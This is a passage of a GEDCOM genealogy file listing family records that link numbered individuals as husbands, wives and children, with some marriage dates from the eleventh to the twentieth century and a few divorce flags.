+1 WIFE @I1985@
+0 @F846@ FAM
+1 HUSB @I1929@
+1 WIFE @I1768@
+1 CHIL @I1990@
+0 @F847@ FAM
+1 HUSB @I1991@
+1 CHIL @I1992@
+0 @F848@ FAM
+1 HUSB @I1992@
+1 CHIL @I1993@
+1 CHIL @I1994@
+0 @F849@ FAM
+1 HUSB @I1995@
+1 CHIL @I1991@
+1 CHIL @I2019@
+0 @F850@ FAM
+1 HUSB @I1996@
+1 CHIL @I1995@
+0 @F851@ FAM
+1 HUSB @I1997@
+1 CHIL @I1996@
+0 @F852@ FAM
+1 HUSB @I1998@
+1 CHIL @I1997@
+0 @F853@ FAM
+1 HUSB @I1999@
+1 CHIL @I1998@
+0 @F854@ FAM
+1 HUSB @I2000@
+1 CHIL @I1999@
+0 @F855@ FAM
+1 HUSB @I2001@
+1 CHIL @I2000@
+0 @F856@ FAM
+1 HUSB @I2002@
+1 CHIL @I2001@
+0 @F857@ FAM
+1 HUSB @I2003@
+1 CHIL @I2002@
+0 @F858@ FAM
+1 HUSB @I2004@
+1 CHIL @I2003@
+0 @F859@ FAM
+1 HUSB @I2005@
+1 CHIL @I2004@
+0 @F860@ FAM
+1 HUSB @I2006@
+1 CHIL @I2005@
+0 @F861@ FAM
+1 HUSB @I2007@
+1 CHIL @I2006@
+0 @F862@ FAM
+1 HUSB @I2008@
+1 CHIL @I2007@
+0 @F863@ FAM
+1 HUSB @I2009@
+1 CHIL @I2008@
+0 @F864@ FAM
+1 HUSB @I2010@
+1 CHIL @I2009@
+0 @F865@ FAM
+1 HUSB @I2011@
+1 CHIL @I2010@
+0 @F866@ FAM
+1 HUSB @I2012@
+1 CHIL @I2011@
+0 @F867@ FAM
+1 HUSB @I2013@
+1 CHIL @I2012@
+0 @F868@ FAM
+1 HUSB @I2014@
+1 CHIL @I2013@
+0 @F869@ FAM
+1 HUSB @I2015@
+1 CHIL @I2014@
+0 @F870@ FAM
+1 HUSB @I2016@
+1 CHIL @I2015@
+0 @F871@ FAM
+1 HUSB @I2017@
+1 CHIL @I2016@
+0 @F872@ FAM
+1 HUSB @I2018@
+1 CHIL @I2017@
+0 @F873@ FAM
+1 WIFE @I2019@
+1 CHIL @I2020@
+1 CHIL @I2021@
+0 @F874@ FAM
+1 HUSB @I1994@
+1 CHIL @I2022@
+1 CHIL @I2023@
+0 @F875@ FAM
+1 HUSB @I2022@
+1 CHIL @I2024@
+0 @F876@ FAM
+1 HUSB @I2026@
+1 CHIL @I2025@
+0 @F877@ FAM
+1 HUSB @I2027@
+1 CHIL @I2026@
+0 @F878@ FAM
+1 HUSB @I2028@
+1 CHIL @I2027@
+0 @F879@ FAM
+1 HUSB @I2023@
+1 CHIL @I2028@
+0 @F880@ FAM
+1 HUSB @I2024@
+1 CHIL @I2029@
+1 CHIL @I2030@
+1 CHIL @I2031@
+1 CHIL @I2032@
+0 @F881@ FAM
+1 HUSB @I2029@
+1 CHIL @I2033@
+0 @F882@ FAM
+1 HUSB @I2030@
+1 WIFE @I2034@
+1 DIV Y
+0 @F883@ FAM
+1 HUSB @I2030@
+1 WIFE @I2035@
+0 @F884@ FAM
+1 HUSB @I2036@
+1 WIFE @I2032@
+0 @F885@ FAM
+1 HUSB @I1993@
+1 CHIL @I2037@
+0 @F886@ FAM
+1 HUSB @I2037@
+1 CHIL @I2038@
+1 CHIL @I2039@
+1 CHIL @I2040@
+0 @F887@ FAM
+1 HUSB @I2038@
+1 CHIL @I2041@
+0 @F888@ FAM
+1 HUSB @I2041@
+1 CHIL @I2042@
+1 CHIL @I2043@
+0 @F889@ FAM
+1 HUSB @I2045@
+1 CHIL @I2044@
+0 @F890@ FAM
+1 HUSB @I2039@
+1 CHIL @I2045@
+0 @F891@ FAM
+1 HUSB @I2047@
+1 CHIL @I2046@
+1 CHIL @I2050@
+1 CHIL @I2051@
+1 CHIL @I2052@
+0 @F892@ FAM
+1 HUSB @I2048@
+1 CHIL @I2047@
+0 @F893@ FAM
+1 HUSB @I2046@
+1 WIFE @I2049@
+0 @F894@ FAM
+1 HUSB @I2053@
+1 WIFE @I2052@
+0 @F895@ FAM
+1 HUSB @I2054@
+1 CHIL @I1973@
+0 @F896@ FAM
+1 HUSB @I2055@
+1 CHIL @I2054@
+0 @F897@ FAM
+1 HUSB @I2056@
+1 CHIL @I2055@
+0 @F898@ FAM
+1 HUSB @I2050@
+1 CHIL @I2056@
+0 @F899@ FAM
+1 HUSB @I2040@
+1 CHIL @I2048@
+0 @F900@ FAM
+1 HUSB @I2057@
+1 CHIL @I1230@
+0 @F901@ FAM
+1 HUSB @I2058@
+1 WIFE @I1410@
+1 CHIL @I1595@
+0 @F902@ FAM
+1 HUSB @I2059@
+1 CHIL @I1418@
+0 @F903@ FAM
+1 HUSB @I2060@
+1 CHIL @I1347@
+0 @F904@ FAM
+1 HUSB @I2061@
+1 WIFE @I1347@
+0 @F905@ FAM
+1 HUSB @I2062@
+1 CHIL @I1416@
+0 @F906@ FAM
+1 HUSB @I2063@
+1 CHIL @I1328@
+0 @F907@ FAM
+1 HUSB @I2064@
+1 WIFE @I1328@
+0 @F908@ FAM
+1 HUSB @I2062@
+1 CHIL @I1337@
+0 @F909@ FAM
+1 HUSB @I2066@
+1 WIFE @I2065@
+0 @F910@ FAM
+1 HUSB @I2067@
+1 CHIL @I2066@
+0 @F911@ FAM
+1 HUSB @I2068@
+1 CHIL @I2067@
+0 @F912@ FAM
+1 HUSB @I2069@
+1 CHIL @I1343@
+0 @F913@ FAM
+1 HUSB @I2070@
+1 WIFE @I1603@
+0 @F914@ FAM
+1 HUSB @I1332@
+1 CHIL @I1222@
+0 @F915@ FAM
+1 HUSB @I2075@
+1 WIFE @I2074@
+1 CHIL @I1414@
+1 CHIL @I1220@
+1 CHIL @I2537@
+1 MARR
+2 DATE 17 JUL 1385
+0 @F916@ FAM
+1 HUSB @I2076@
+1 WIFE @I1331@
+0 @F917@ FAM
+1 HUSB @I1437@
+1 WIFE @I2077@
+0 @F918@ FAM
+1 HUSB @I2078@
+1 CHIL @I2077@
+0 @F919@ FAM
+1 HUSB @I2080@
+1 WIFE @I2079@
+0 @F920@ FAM
+1 HUSB @I1335@
+1 WIFE @I2081@
+1 CHIL @I2083@
+1 CHIL @I2084@
+1 CHIL @I2085@
+1 CHIL @I2086@
+1 CHIL @I2087@
+1 CHIL @I2088@
+1 CHIL @I2089@
+1 CHIL @I2090@
+0 @F921@ FAM
+1 HUSB @I2082@
+1 CHIL @I2081@
+0 @F922@ FAM
+1 HUSB @I2091@
+1 WIFE @I2086@
+0 @F923@ FAM
+1 HUSB @I2092@
+1 WIFE @I2086@
+0 @F924@ FAM
+1 HUSB @I2093@
+1 WIFE @I2087@
+0 @F925@ FAM
+1 HUSB @I2094@
+1 WIFE @I2087@
+0 @F926@ FAM
+1 HUSB @I2095@
+1 WIFE @I2088@
+0 @F927@ FAM
+1 HUSB @I2096@
+1 WIFE @I2089@
+0 @F928@ FAM
+1 HUSB @I2097@
+1 WIFE @I2089@
+0 @F929@ FAM
+1 HUSB @I2098@
+1 WIFE @I2090@
+0 @F930@ FAM
+1 HUSB @I2101@
+1 CHIL @I1434@
+0 @F931@ FAM
+1 HUSB @I2099@
+1 WIFE @I2337@
+1 CHIL @I2338@
+1 CHIL @I2339@
+1 CHIL @I848@
+0 @F932@ FAM
+1 HUSB @I1436@
+1 WIFE @I2102@
+0 @F933@ FAM
+1 HUSB @I2103@
+1 CHIL @I2102@
+0 @F934@ FAM
+1 HUSB @I2104@
+1 WIFE @I1428@
+1 CHIL @I2334@
+0 @F935@ FAM
+1 HUSB @I2105@
+1 WIFE @I1427@
+0 @F936@ FAM
+1 HUSB @I2108@
+1 WIFE @I2106@
+1 CHIL @I2109@
+1 CHIL @I2110@
+0 @F937@ FAM
+1 HUSB @I2110@
+1 WIFE @I2111@
+0 @F938@ FAM
+1 HUSB @I2109@
+1 WIFE @I2112@
+1 CHIL @I1436@
+1 CHIL @I2396@
+1 CHIL @I2397@
+1 CHIL @I2398@
+0 @F939@ FAM
+1 HUSB @I2113@
+1 CHIL @I2112@
+0 @F940@ FAM
+1 HUSB @I765@
+1 WIFE @I769@
+1 CHIL @I2415@
+0 @F941@ FAM
+1 HUSB @I2120@
+1 CHIL @I769@
+0 @F942@ FAM
+1 HUSB @I768@
+1 WIFE @I2121@
+0 @F943@ FAM
+1 HUSB @I2122@
+1 WIFE @I2118@
+0 @F944@ FAM
+1 HUSB @I2127@
+1 CHIL @I707@
+0 @F945@ FAM
+1 HUSB @I2129@
+1 WIFE @I2128@
+0 @F946@ FAM
+1 HUSB @I2130@
+1 WIFE @I951@
+0 @F947@ FAM
+1 HUSB @I2131@
+1 WIFE @I2416@
+1 CHIL @I2130@
+1 CHIL @I2421@
+1 MARR
+2 DATE        1649
+0 @F948@ FAM
+1 HUSB @I2131@
+1 WIFE @I896@
+1 CHIL @I1420@
+1 MARR
+2 DATE        1621
+0 @F949@ FAM
+1 HUSB @I870@
+1 WIFE @I2133@
+1 CHIL @I2136@
+1 MARR
+2 DATE        1543
+0 @F950@ FAM
+1 HUSB @I870@
+1 WIFE @I2134@
+0 @F951@ FAM
+1 HUSB @I870@
+1 WIFE @I2135@
+1 CHIL @I2132@
+1 MARR
+2 DATE        1570
+0 @F952@ FAM
+1 HUSB @I2137@
+1 CHIL @I721@
+0 @F953@ FAM
+1 HUSB @I2138@
+1 CHIL @I2137@
+0 @F954@ FAM
+1 HUSB @I2139@
+1 CHIL @I724@
+0 @F955@ FAM
+1 HUSB @I2140@
+1 WIFE @I2141@
+1 CHIL @I342@
+0 @F956@ FAM
+1 HUSB @I2142@
+1 WIFE @I2143@
+1 CHIL @I332@
+0 @F957@ FAM
+1 HUSB @I2144@
+1 CHIL @I762@
+0 @F958@ FAM
+1 HUSB @I2145@
+1 WIFE @I762@
+0 @F959@ FAM
+1 HUSB @I2147@
+1 WIFE @I2148@
+1 CHIL @I131@
+0 @F960@ FAM
+1 HUSB @I2149@
+1 WIFE @I99@
+0 @F961@ FAM
+1 HUSB @I2150@
+1 WIFE @I98@
+0 @F962@ FAM
+1 HUSB @I2151@
+1 CHIL @I126@
+0 @F963@ FAM
+1 HUSB @I504@
+1 WIFE @I2156@
+1 CHIL @I2158@
+1 CHIL @I2159@
+1 DIV Y
+0 @F964@ FAM
+1 HUSB @I504@
+1 WIFE @I2157@
+0 @F965@ FAM
+1 HUSB @I2160@
+1 CHIL @I494@
+0 @F966@ FAM
+1 HUSB @I2161@
+1 CHIL @I408@
+0 @F967@ FAM
+1 HUSB @I2162@
+1 WIFE @I509@
+1 DIV Y
+1 MARR
+2 DATE        1941
+0 @F968@ FAM
+1 HUSB @I2163@
+1 WIFE @I509@
+1 CHIL @I2165@
+1 DIV Y
+1 MARR
+2 DATE        1957
+0 @F969@ FAM
+1 HUSB @I2164@
+1 WIFE @I509@
+1 MARR
+2 DATE        1965
+0 @F970@ FAM
+1 HUSB @I2166@
+1 WIFE @I1959@
+1 CHIL @I2167@
+0 @F971@ FAM
+1 HUSB @I2168@
+1 WIFE @I2167@
+1 CHIL @I2169@
+0 @F972@ FAM
+1 HUSB @I2169@
+1 CHIL @I2170@
+0 @F973@ FAM
+1 HUSB @I2170@
+1 CHIL @I2171@
+0 @F974@ FAM
+1 HUSB @I2171@
+1 CHIL @I2172@
+0 @F975@ FAM
+1 HUSB @I2173@
+1 WIFE @I2172@
+1 CHIL @I2174@
+0 @F976@ FAM
+1 HUSB @I2174@
+1 CHIL @I1352@
+0 @F977@ FAM
+1 HUSB @I2175@
+1 CHIL @I2173@
+0 @F978@ FAM
+1 HUSB @I2176@
+1 CHIL @I2175@
+0 @F979@ FAM
+1 HUSB @I2177@
+1 CHIL @I2176@
+0 @F980@ FAM
+1 HUSB @I2178@
+1 WIFE @I2179@
+1 CHIL @I2177@
+0 @F981@ FAM
+1 HUSB @I2180@
+1 CHIL @I2179@
+0 @F982@ FAM
+1 HUSB @I2181@
+1 CHIL @I2180@
+0 @F983@ FAM
+1 HUSB @I2182@
+1 CHIL @I2181@
+0 @F984@ FAM
+1 HUSB @I2183@
+1 CHIL @I2182@
+0 @F985@ FAM
+1 HUSB @I2184@
+1 CHIL @I2183@
+0 @F986@ FAM
+1 HUSB @I2185@
+1 CHIL @I2184@
+0 @F987@ FAM
+1 HUSB @I2186@
+1 CHIL @I1918@
+0 @F988@ FAM
+1 HUSB @I2187@
+1 WIFE @I2188@
+1 CHIL @I2186@
+0 @F989@ FAM
+1 HUSB @I2189@
+1 WIFE @I2190@
+1 CHIL @I2188@
+0 @F990@ FAM
+1 HUSB @I2191@
+1 CHIL @I2190@
+0 @F991@ FAM
+1 HUSB @I2192@
+1 CHIL @I2191@
+0 @F992@ FAM
+1 HUSB @I2193@
+1 CHIL @I2192@
+0 @F993@ FAM
+1 HUSB @I2194@
+1 CHIL @I2193@
+0 @F994@ FAM
+1 HUSB @I2195@
+1 CHIL @I2194@
+0 @F995@ FAM
+1 HUSB @I2196@
+1 CHIL @I2195@
+0 @F996@ FAM
+1 HUSB @I2197@
+1 CHIL @I2196@
+0 @F997@ FAM
+1 HUSB @I2198@
+1 CHIL @I2197@
+0 @F998@ FAM
+1 HUSB @I2199@
+1 CHIL @I2198@
+0 @F999@ FAM
+1 HUSB @I2200@
+1 CHIL @I2199@
+0 @F1000@ FAM
+1 HUSB @I2201@
+1 CHIL @I2200@
+0 @F1001@ FAM
+1 HUSB @I2202@
+1 CHIL @I2201@
+0 @F1002@ FAM
+1 HUSB @I2203@
+1 CHIL @I2202@
+0 @F1003@ FAM
+1 HUSB @I2204@
+1 CHIL @I2203@
+0 @F1004@ FAM
+1 HUSB @I2205@
+1 CHIL @I2204@
+0 @F1005@ FAM
+1 HUSB @I2206@
+1 WIFE @I2207@
+1 CHIL @I2205@
+0 @F1006@ FAM
+1 HUSB @I2208@
+1 CHIL @I2206@
+0 @F1007@ FAM
+1 HUSB @I2209@
+1 CHIL @I2208@
+0 @F1008@ FAM
+1 HUSB @I2210@
+1 CHIL @I2209@
+0 @F1009@ FAM
+1 HUSB @I2211@
+1 CHIL @I2210@
+0 @F1010@ FAM
+1 HUSB @I2212@
+1 CHIL @I2211@
+1 CHIL @I2213@
+0 @F1011@ FAM
+1 HUSB @I2214@
+1 WIFE @I2213@
+1 CHIL @I2215@
+0 @F1012@ FAM
+1 HUSB @I2217@
+1 WIFE @I2218@
+1 CHIL @I2216@
+0 @F1013@ FAM
+1 HUSB @I2219@
+1 WIFE @I2220@
+1 CHIL @I2218@
+0 @F1014@ FAM
+1 HUSB @I2221@
+1 CHIL @I2220@
+1 CHIL @I2207@
+0 @F1015@ FAM
+1 HUSB @I2222@
+1 CHIL @I2221@
+0 @F1016@ FAM
+1 HUSB @I2223@
+1 CHIL @I2222@
+0 @F1017@ FAM
+1 HUSB @I2215@
+1 CHIL @I2223@
+0 @F1018@ FAM
+1 HUSB @I1514@
+1 WIFE @I2224@
+0 @F1019@ FAM
+1 HUSB @I2301@
+1 WIFE @I2302@
+1 CHIL @I779@
+0 @F1020@ FAM
+1 HUSB @I1511@
+1 WIFE @I2225@
+1 CHIL @I2237@
+0 @F1021@ FAM
+1 HUSB @I2226@
+1 CHIL @I2225@
+0 @F1022@ FAM
+1 HUSB @I1515@
+1 WIFE @I2227@
+1 CHIL @I2228@
+0 @F1023@ FAM
+1 HUSB @I2228@
+1 WIFE @I2229@
+1 CHIL @I2230@
+1 CHIL @I2231@
+1 CHIL @I1837@
+0 @F1024@ FAM
+1 HUSB @I2231@
+1 WIFE @I2232@
+1 CHIL @I1886@
+0 @F1025@ FAM
+1 HUSB @I1886@
+1 WIFE @I2233@
+1 CHIL @I1585@
+1 MARR
+2 DATE AFT    1238
+0 @F1026@ FAM
+1 HUSB @I2235@
+1 WIFE @I2234@
+1 CHIL @I2236@
+0 @F1027@ FAM
+1 HUSB @I2237@
+1 WIFE @I2238@
+0 @F1028@ FAM
+1 HUSB @I2239@
+1 WIFE @I2240@
+1 CHIL @I1511@
+1 CHIL @I2241@
+0 @F1029@ FAM
+1 HUSB @I2242@
+1 WIFE @I2243@
+1 CHIL @I2239@
+0 @F1030@ FAM
+1 HUSB @I2244@
+1 WIFE @I2245@
+1 CHIL @I2246@
+0 @F1031@ FAM
+1 HUSB @I2247@
+1 WIFE @I2245@
+0 @F1032@ FAM
+1 HUSB @I2248@
+1 CHIL @I2243@
+0 @F1033@ FAM
+1 HUSB @I2249@
+1 CHIL @I2248@
+0 @F1034@ FAM
+1 HUSB @I2250@
+1 CHIL @I2249@
+1 CHIL @I2253@
+0 @F1035@ FAM
+1 HUSB @I2251@
+1 CHIL @I2250@
+0 @F1036@ FAM
+1 HUSB @I2252@
+1 CHIL @I2251@
+0 @F1037@ FAM
+1 HUSB @I2253@
+1 CHIL @I2254@
+0 @F1038@ FAM
+1 HUSB @I2255@
+1 CHIL @I2245@
+0 @F1039@ FAM
+1 HUSB @I2254@
+1 CHIL @I2255@
+0 @F1040@ FAM
+1 HUSB @I2257@
+1 CHIL @I2256@
+0 @F1041@ FAM
+1 HUSB @I2258@
+1 CHIL @I2257@
+0 @F1042@ FAM
+1 HUSB @I2259@
+1 CHIL @I2258@
+0 @F1043@ FAM
+1 HUSB @I2260@
+1 CHIL @I2259@
+0 @F1044@ FAM
+1 HUSB @I2261@
+1 CHIL @I2252@
+1 CHIL @I2260@
+1 CHIL @I2262@
+0 @F1045@ FAM
+1 HUSB @I2263@
+1 WIFE @I2262@
+1 CHIL @I2264@
+0 @F1046@ FAM
+1 HUSB @I2265@
+1 CHIL @I2261@
+1 CHIL @I2266@
+0 @F1047@ FAM
+1 HUSB @I2267@
+1 CHIL @I1601@
+0 @F1048@ FAM
+1 HUSB @I2268@
+1 CHIL @I1598@
+0 @F1049@ FAM
+1 HUSB @I2269@
+1 CHIL @I1596@
+0 @F1050@ FAM
+1 HUSB @I2270@
+1 CHIL @I1327@
+0 @F1051@ FAM
+1 HUSB @I2271@
+1 WIFE @I1327@
+1 CHIL @I998@
+0 @F1052@ FAM
+1 HUSB @I2272@
+1 CHIL @I1218@
+0 @F1053@ FAM
+1 HUSB @I2273@
+1 WIFE @I1025@
+0 @F1054@ FAM
+1 HUSB @I2274@
+1 WIFE @I2549@
+1 CHIL @I1628@
+0 @F1055@ FAM
+1 HUSB @I2275@
+1 WIFE @I1019@
+0 @F1056@ FAM
+1 HUSB @I2276@
+1 WIFE @I995@
+0 @F1057@ FAM
+1 HUSB @I2277@
+1 CHIL @I1345@
+0 @F1058@ FAM
+1 HUSB @I2278@
+1 WIFE @I1345@
+0 @F1059@ FAM
+1 HUSB @I2279@
+1 CHIL @I1445@
+0 @F1060@ FAM
+1 HUSB @I2282@
+1 WIFE @I2281@
+0 @F1061@ FAM
+1 HUSB @I2286@
+1 WIFE @I2284@
+0 @F1062@ FAM
+1 HUSB @I2287@
+1 WIFE @I2284@
+0 @F1063@ FAM
+1 HUSB @I2288@
+1 WIFE @I2285@
+0 @F1064@ FAM
+1 HUSB @I2289@
+1 WIFE @I2285@
+0 @F1065@ FAM
+1 HUSB @I2290@
+1 WIFE @I2285@
+0 @F1066@ FAM
+1 HUSB @I2291@
+1 CHIL @I1413@
+0 @F1067@ FAM
+1 HUSB @I2292@
+1 WIFE @I1502@
+0 @F1068@ FAM
+1 HUSB @I2293@
+1 WIFE @I1502@
+0 @F1069@ FAM
+1 HUSB @I2295@
+1 WIFE @I2294@
+0 @F1070@ FAM
+1 HUSB @I2297@
+1 WIFE @I2296@
+0 @F1071@ FAM
+1 HUSB @I2298@
+1 WIFE @I2296@
+0 @F1072@ FAM
+1 HUSB @I1338@
+1 WIFE @I2296@
+0 @F1073@ FAM
+1 HUSB @I2299@
+1 CHIL @I1444@
+0 @F1074@ FAM
+1 HUSB @I2300@
+1 WIFE @I1444@
+1 DIV Y
+0 @F1075@ FAM
+1 HUSB @I2303@
+1 WIFE @I2304@
+1 CHIL @I2301@
+0 @F1076@ FAM
+1 HUSB @I2305@
+1 WIFE @I2306@
+1 CHIL @I2304@
+0 @F1077@ FAM
+1 HUSB @I2307@
+1 WIFE @I2308@
+1 CHIL @I2305@
+0 @F1078@ FAM
+1 HUSB @I2310@
+1 WIFE @I2311@
+1 CHIL @I2312@
+1 CHIL @I2313@
+1 CHIL @I2314@
+1 CHIL @I869@
+1 CHIL @I2315@
+1 CHIL @I2316@
+1 CHIL @I2317@
+1 CHIL @I2318@
+0 @F1079@ FAM
+1 HUSB @I2312@
+1 WIFE @I2319@
+0 @F1080@ FAM
+1 HUSB @I2320@
+1 WIFE @I2319@
+0 @F1081@ FAM
+1 HUSB @I2313@
+1 WIFE @I2321@
+1 CHIL @I2324@
+0 @F1082@ FAM
+1 HUSB @I2313@
+1 WIFE @I2322@
+0 @F1083@ FAM
+1 HUSB @I2313@
+1 WIFE @I2323@
+0 @F1084@ FAM
+1 HUSB @I2314@
+1 WIFE @I2325@
+0 @F1085@ FAM
+1 HUSB @I2326@
+1 WIFE @I2325@
+0 @F1086@ FAM
+1 HUSB @I2327@
+1 WIFE @I2316@
+0 @F1087@ FAM
+1 HUSB @I2328@
+1 WIFE @I2317@
+0 @F1088@ FAM
+1 HUSB @I2329@
+1 WIFE @I2318@
+0 @F1089@ FAM
+1 HUSB @I2315@
+1 WIFE @I2330@
+0 @F1090@ FAM
+1 HUSB @I2315@
+1 WIFE @I2331@
+0 @F1091@ FAM
+1 HUSB @I2332@
+1 WIFE @I2106@
+1 DIV Y
+0 @F1092@ FAM
+1 HUSB @I2333@
+1 WIFE @I2107@
+0 @F1093@ FAM
+1 HUSB @I2335@
+1 WIFE @I2334@
+0 @F1094@ FAM
+1 HUSB @I2104@
+1 WIFE @I2336@
+0 @F1095@ FAM
+1 HUSB @I2340@
+1 WIFE @I2339@
+1 CHIL @I2394@
+1 CHIL @I2403@
+0 @F1096@ FAM
+1 HUSB @I2341@
+1 WIFE @I2342@
+1 CHIL @I2343@
+1 CHIL @I2337@
+1 CHIL @I857@
+0 @F1097@ FAM
+1 HUSB @I2343@
+1 WIFE @I2344@
+0 @F1098@ FAM
+1 HUSB @I2343@
+1 WIFE @I2345@
+1 CHIL @I2355@
+1 CHIL @I2356@
+1 CHIL @I2357@
+0 @F1099@ FAM
+1 HUSB @I857@
+1 WIFE @I2346@
+0 @F1100@ FAM
+1 HUSB @I2341@
+1 WIFE @I2347@
+1 CHIL @I2348@
+1 CHIL @I2349@
+1 CHIL @I2350@
+0 @F1101@ FAM
+1 HUSB @I2348@
+1 WIFE @I2351@
+0 @F1102@ FAM
+1 HUSB @I2348@
+1 WIFE @I2352@
+0 @F1103@ FAM
+1 HUSB @I2353@
+1 WIFE @I2349@
+0 @F1104@ FAM
+1 HUSB @I2354@
+1 WIFE @I2350@
+0 @F1105@ FAM
+1 HUSB @I2355@
+1 WIFE @I2358@
+1 CHIL @I2359@
+1 CHIL @I2360@
+1 CHIL @I2361@
+1 CHIL @I2362@
+1 CHIL @I2363@
+0 @F1106@ FAM
+1 HUSB @I2364@
+1 WIFE @I2356@
+0 @F1107@ FAM
+1 HUSB @I2357@
+1 WIFE @I2365@
+0 @F1108@ FAM
+1 HUSB @I2359@
+1 WIFE @I2366@
+1 CHIL @I2367@
+0 @F1109@ FAM
+1 HUSB @I2367@
+1 WIFE @I2368@
+1 CHIL @I2369@
+0 @F1110@ FAM
+1 HUSB @I2369@
+1 WIFE @I2370@
+0 @F1111@ FAM
+1 HUSB @I2359@
+1 WIFE @I2371@
+1 CHIL @I2372@
+1 CHIL @I2387@
+0 @F1112@ FAM
+1 HUSB @I2372@
+1 WIFE @I2373@
+0 @F1113@ FAM
+1 HUSB @I2372@
+1 WIFE @I2374@
+1 CHIL @I2375@
+1 CHIL @I2376@
+1 CHIL @I2377@
+1 CHIL @I2378@
+1 CHIL @I2379@
+0 @F1114@ FAM
+1 HUSB @I2375@
+1 WIFE @I2380@
+0 @F1115@ FAM
+1 HUSB @I2376@
+1 WIFE @I2381@
+0 @F1116@ FAM
+1 HUSB @I2377@
+1 WIFE @I2382@
+0 @F1117@ FAM
+1 HUSB @I2383@
+1 WIFE @I2382@
+0 @F1118@ FAM
+1 HUSB @I2384@
+1 WIFE @I2378@
+0 @F1119@ FAM
+1 HUSB @I2385@
+1 WIFE @I2379@
+1 DIV Y
+0 @F1120@ FAM
+1 HUSB @I2386@
+1 WIFE @I2379@
+0 @F1121@ FAM
+1 HUSB @I2387@
+1 WIFE @I2388@
+0 @F1122@ FAM
+1 HUSB @I2108@
+1 WIFE @I2389@
+0 @F1123@ FAM
+1 HUSB @I2108@
+1 WIFE @I2390@
+0 @F1124@ FAM
+1 HUSB @I2391@
+1 WIFE @I2390@
+0 @F1125@ FAM
+1 HUSB @I2392@
+1 WIFE @I2393@
+1 CHIL @I2327@
+1 CHIL @I2108@
+1 CHIL @I2319@
+0 @F1126@ FAM
+1 HUSB @I2392@
+1 WIFE @I2395@
+1 DIV Y
+0 @F1127@ FAM
+1 HUSB @I2396@
+1 WIFE @I2399@
+0 @F1128@ FAM
+1 HUSB @I2400@
+1 WIFE @I2399@
+0 @F1129@ FAM
+1 HUSB @I2397@
+1 WIFE @I2401@
+0 @F1130@ FAM
+1 HUSB @I2397@
+1 WIFE @I2402@
+0 @F1131@ FAM
+1 HUSB @I2394@
+1 WIFE @I2404@
+0 @F1132@ FAM
+1 HUSB @I2405@
+1 WIFE @I2403@
+1 CHIL @I2406@
+1 CHIL @I2407@
+1 CHIL @I2331@
+1 CHIL @I2408@
+1 CHIL @I2409@
+0 @F1133@ FAM
+1 HUSB @I2406@
+1 WIFE @I2410@
+0 @F1134@ FAM
+1 HUSB @I2411@
+1 WIFE @I2331@
+0 @F1135@ FAM
+1 HUSB @I2412@
+1 WIFE @I2331@
+0 @F1136@ FAM
+1 HUSB @I2413@
+1 WIFE @I2408@
+0 @F1137@ FAM
+1 HUSB @I2414@
+1 WIFE @I2409@
+0 @F1138@ FAM
+1 HUSB @I2418@
+1 WIFE @I2417@
+1 CHIL @I2416@
+1 CHIL @I2420@
+0 @F1139@ FAM
+1 HUSB @I2419@
+1 CHIL @I2418@
+0 @F1140@ FAM
+1 HUSB @I2420@
+1 WIFE @I2421@
+1 CHIL @I2427@
+0 @F1141@ FAM
+1 HUSB @I2420@
+1 WIFE @I2422@
+1 CHIL @I2430@
+1 CHIL @I2431@
+0 @F1142@ FAM
+1 HUSB @I2424@
+1 WIFE @I2425@
+1 CHIL @I2880@
+1 MARR
+2 DATE        1714
+0 @F1143@ FAM
+1 HUSB @I2423@
+1 WIFE @I2882@
+1 CHIL @I2426@
+1 CHIL @I2424@
+1 CHIL @I2507@
+1 MARR
+2 DATE        1680
+0 @F1144@ FAM
+1 HUSB @I2428@
+1 WIFE @I2427@
+1 CHIL @I2429@
+0 @F1145@ FAM
+1 HUSB @I2433@
+1 WIFE @I2432@
+1 CHIL @I2434@
+1 MARR
+2 DATE        1736
+0 @F1146@ FAM
+1 HUSB @I2431@
+1 CHIL @I2432@
+0 @F1147@ FAM
+1 HUSB @I2448@
+1 WIFE @I2614@
+1 CHIL @I2973@
+1 CHIL @I2974@
+1 CHIL @I2975@
+1 CHIL @I139@
+1 CHIL @I205@
+1 CHIL @I138@
+1 CHIL @I1696@
+1 MARR
+2 DATE        1777
+0 @F1148@ FAM
+1 HUSB @I2438@
+1 WIFE @I2439@
+1 CHIL @I1248@
+1 CHIL @I2522@
+1 CHIL @I2523@
+1 MARR
+2 DATE 28 OCT 1533
+0 @F1149@ FAM
+1 HUSB @I2435@
+1 WIFE @I2436@
+1 CHIL @I1614@
+0 @F1150@ FAM
+1 HUSB @I2437@
+1 CHIL @I1438@
+0 @F1151@ FAM
+1 HUSB @I838@
+1 WIFE @I2547@
+1 DIV Y
+1 MARR
+2 DATE  8 SEP 1476
+0 @F1152@ FAM
+1 HUSB @I2442@
+1 WIFE @I2443@
+1 CHIL @I841@
+0 @F1153@ FAM
+1 HUSB @I2444@
+1 WIFE @I2445@
+1 CHIL @I1612@
+0 @F1154@ FAM
+1 HUSB @I1698@
+1 WIFE @I2449@
+1 CHIL @I2901@
+1 CHIL @I2902@
+1 CHIL @I2903@
+1 MARR
+2 DATE        1853
+0 @F1155@ FAM
+1 HUSB @I2450@
+1 CHIL @I2449@
+0 @F1156@ FAM
+1 HUSB @I2451@
+1 WIFE @I2477@
+1 CHIL @I1741@
+1 MARR
+2 DATE        1180
+0 @F1157@ FAM
+1 HUSB @I2464@
+1 WIFE @I2487@
+1 CHIL @I2466@
+1 MARR
+2 DATE    AUG 1315
+0 @F1158@ FAM
+1 HUSB @I2452@
+1 WIFE @I2453@
+1 CHIL @I2469@
+1 CHIL @I1869@
+1 CHIL @I2470@
+1 CHIL @I2471@
+1 CHIL @I2472@
+1 CHIL @I2473@
+1 CHIL @I2474@
+1 MARR
+2 DATE        1115
+0 @F1159@ FAM
+1 HUSB @I2454@
+1 WIFE @I2455@
+1 CHIL @I2452@
+1 DIV Y
+1 MARR
+2 DATE        1072
+0 @F1160@ FAM
+1 HUSB @I2454@
+1 WIFE @I2456@
+1 MARR
+2 DATE        1095
+0 @F1161@ FAM
+1 HUSB @I2457@
+1 WIFE @I2535@
+1 CHIL @I2454@
+1 MARR
+2 DATE        1051
+0 @F1162@ FAM
+1 HUSB @I2458@
+1 WIFE @I2459@
+1 CHIL @I2460@
+1 CHIL @I2457@
+1 CHIL @I2533@
+1 MARR
+2 DATE        1003
+0 @F1163@ FAM
+1 HUSB @I2458@
+1 WIFE @I2461@
+0 @F1164@ FAM
+1 HUSB @I2458@
+1 WIFE @I2462@
+1 DIV Y
+1 MARR
+2 DATE         996
+0 @F1165@ FAM
+1 HUSB @I2463@
+1 CHIL @I2458@
